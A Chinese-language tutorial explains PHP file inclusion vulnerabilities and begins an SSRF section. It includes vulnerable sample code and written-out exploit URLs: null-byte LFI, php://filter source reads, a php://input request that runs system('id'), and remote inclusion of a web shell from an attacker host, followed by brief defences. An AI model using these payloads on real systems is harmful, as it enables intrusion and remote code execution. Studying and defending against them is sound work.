在Web安全领域，PHP应用程序的安全问题一直备受关注。本文将深入探讨两种常见的PHP安全漏洞：文件包含漏洞和服务器端请求伪造(SSRF)，帮助开发者理解漏洞原理、利用方式以及防御措施。

第一部分：文件包含漏洞详解

什么是文件包含漏洞

文件包含漏洞是PHP应用程序中常见的安全问题，当开发者使用包含函数引入文件时，如果传入的文件名参数未经严格校验，攻击者就可能利用这个漏洞读取敏感文件甚至执行恶意代码。

危险函数

PHP中有四个主要的文件包含函数：

  • include()
  • include_once()
  • require()
  • require_once()

文件包含漏洞类型

1. 本地文件包含(LFI)

利用方式：

  • 直接读取Flag文件
  • 通过PHP伪协议读取源代码
  • 写入PHP木马获取webshell

示例代码：

1

2

3

4

5

6

7

8

<?php

$file = $_GET['file'];

if(file_exists('/home/www/'.$file.'.php')) {

    include '/home/www/'.$file.'.php';

} else {

    include '/home/www/'.'home.php';

}

?>

利用方法：

1

http://www.example.com/demo1.php?file=flag.php%00

2. PHP伪协议利用

常用伪协议：

file:// 协议：

1

http://www.example.com/index.php?file=file://D:/phpStudy/WWW/flag.txt

php://filter：

1

http://example.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

php://input：

1

2

3

POST /index.php?file=php://input HTTP/1.1

...

<?php system('id'); ?>

3. 远程文件包含(RFI)

必要条件：

  • allow_url_fopen = On
  • allow_url_include = On

示例代码：

1

2

3

4

<?php

$basePath = @$_GET['param'];

require_once $basePath.'/action/m_share.php';

?>

利用方法：

1

http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?

防御措施

1.白名单验证

2.禁用危险配置：

1

2

allow_url_fopen = Off

allow_url_include = Off

3.设置open_basedir

4.严格校验用户输入

5.避免动态包含

第二部分：SSRF漏洞深入解析

什么是SSRF？

SSRF（Server-Side Request Forgery）是一种由攻击者构造形成由服务端发起请求的安全漏洞。攻击者可以利用此漏洞访问外网无法访问的内部系统。

# php # 开发语言
Logo
亚马逊云科技技术品牌专区

更多推荐

AI 学习路径：从入门到实战的全景路线图（2026 版）

关于当前最新最热的AI人工智能学习路径分享

avatar 亚马逊云科技技术品牌专区

WPF基础到企业应用系列7——深入剖析依赖属性（WPF/Silverlight核

首先圣殿骑士很高兴这个系列能得到大家的关注和支持，这个系列从七月份开始到现在才第七篇，上一篇发布是在8月2日，掐指一算有二十多天没有继续更新了，最主要原因一来是想把它写好，二来是因为最近几个月在筹备“云计算之旅”系列，所以一再推迟了发布进度。

avatar 亚马逊云科技技术品牌专区

解密 AI Agent 的安全带与催化剂：一文读懂 Harness Engineering 的崛起与落地实践

解密 AI Agent 的"安全带"与"催化剂"：一文读懂 Harness Engineering 的崛起与落地实践 在过去的一两年里，大语言模型（LLM）的火爆催生了 **AI Agent（人工智能智能体）** 的井喷。我们看着 Agent 从最初只能做简单对话的 Bot，演变成如今能够自主规划、调用工具、甚至代替人类编写代码和处理复杂业务流的数字员工。 然而，随着 Agent...

avatar 亚马逊云科技技术品牌专区